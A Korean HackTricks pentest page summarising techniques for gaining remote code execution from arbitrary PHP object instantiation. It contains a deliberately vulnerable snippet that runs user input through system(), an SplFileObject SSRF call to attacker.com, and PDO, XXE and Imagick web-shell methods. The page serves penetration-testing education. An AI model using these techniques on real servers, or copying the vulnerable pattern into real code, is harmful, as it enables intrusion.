# PHP - RCE 객체 생성을 악용하기: new $\_GET\["a"]\($\_GET\["b"]) {{#include ../../../banners/hacktricks-training.md}} 이것은 기본적으로 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)의 요약입니다. ## 소개 `new $_GET["a"]($_GET["a"])`와 같은 새로운 임의 객체의 생성은 원격 코드 실행(RCE)으로 이어질 수 있으며, 이는 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 자세히 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다. ## 사용자 정의 클래스 또는 자동 로딩을 통한 RCE 구문 `new $a($b)`는 객체를 인스턴스화하는 데 사용되며, 여기서 **`$a`**는 클래스 이름을 나타내고 **`$b`**는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수는 GET/POST와 같은 사용자 입력에서 가져올 수 있으며, 문자열이나 배열일 수 있거나 JSON에서 다른 유형으로 나타날 수 있습니다. 아래의 코드 스니펫을 고려하십시오: ```php class App { function __construct ($cmd) { system($cmd); } } class App2 { function App2 ($cmd) { system($cmd); } } $a = $_GET['a']; $b = $_GET['b']; new $a($b); ``` 이 경우, `$a`를 `App` 또는 `App2`로 설정하고 `$b`를 시스템 명령(예: `uname -a`)으로 설정하면 해당 명령이 실행됩니다. **자동 로딩 함수**는 그러한 클래스에 직접 접근할 수 없는 경우 악용될 수 있습니다. 이러한 함수는 필요할 때 파일에서 클래스를 자동으로 로드하며, `spl_autoload_register` 또는 `__autoload`를 사용하여 정의됩니다: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; }); function __autoload($class_name) { include $class_name . '.php'; }; spl_autoload_register(); ``` 자동 로딩의 동작은 PHP 버전에 따라 다르며, 다양한 RCE 가능성을 제공합니다. ## 내장 클래스에 의한 RCE 사용자 정의 클래스나 자동 로더가 없는 경우, **내장 PHP 클래스**가 RCE에 충분할 수 있습니다. 이러한 클래스의 수는 PHP 버전과 확장에 따라 100에서 200 사이입니다. `get_declared_classes()`를 사용하여 나열할 수 있습니다. 관심 있는 생성자는 반사 API를 통해 식별할 수 있으며, 다음 예제와 링크 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)에서 확인할 수 있습니다. **특정 메서드를 통한 RCE에는 다음이 포함됩니다:** ### **SSRF + Phar 역직렬화** `SplFileObject` 클래스는 생성자를 통해 SSRF를 가능하게 하여, 모든 URL에 연결할 수 있습니다: ```php new SplFileObject('http://attacker.com/'); ``` SSRF는 Phar 프로토콜을 사용하는 PHP 8.0 이전 버전에서 역직렬화 공격으로 이어질 수 있습니다. ### **PDO 악용하기** PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 하여, 파일 생성 또는 기타 상호작용을 가능하게 합니다: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** PHP 5.3.22 및 5.4.12 버전까지는 `SoapClient` 및 `SimpleXMLElement` 생성자를 통해 XXE 공격에 취약했습니다. 이는 libxml2의 버전에 따라 달라집니다. ## RCE via Imagick Extension **프로젝트의 의존성** 분석에서 **Imagick**가 새로운 객체를 인스턴스화하여 **명령 실행**에 활용될 수 있음을 발견했습니다. 이는 취약점을 악용할 기회를 제공합니다. ### VID 파서 파일 시스템의 지정된 경로에 콘텐츠를 쓸 수 있는 VID 파서 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉토리에 PHP 셸을 배치하여 원격 코드 실행(RCE)을 달성할 수 있습니다. #### VID Parser + 파일 업로드 PHP는 업로드된 파일을 `/tmp/phpXXXXXX`에 임시로 저장하는 것으로 알려져 있습니다. **msl** 프로토콜을 사용하는 Imagick의 VID 파서는 파일 경로에서 와일드카드를 처리할 수 있어 임시 파일을 선택한 위치로 전송할 수 있습니다. 이 방법은 파일 시스템 내에서 임의 파일 작성을 달성하는 추가적인 접근 방식을 제공합니다. ### PHP 충돌 + 무차별 대입 [**원본 작성물**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)에 설명된 방법은 삭제 전에 서버 충돌을 유발하는 파일을 업로드하는 것입니다. 임시 파일의 이름을 무차별 대입하여 Imagick가 임의의 PHP 코드를 실행할 수 있게 됩니다. 그러나 이 기술은 구버전의 ImageMagick에서만 효과적인 것으로 나타났습니다. ## References - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) {{#include ../../../banners/hacktricks-training.md}}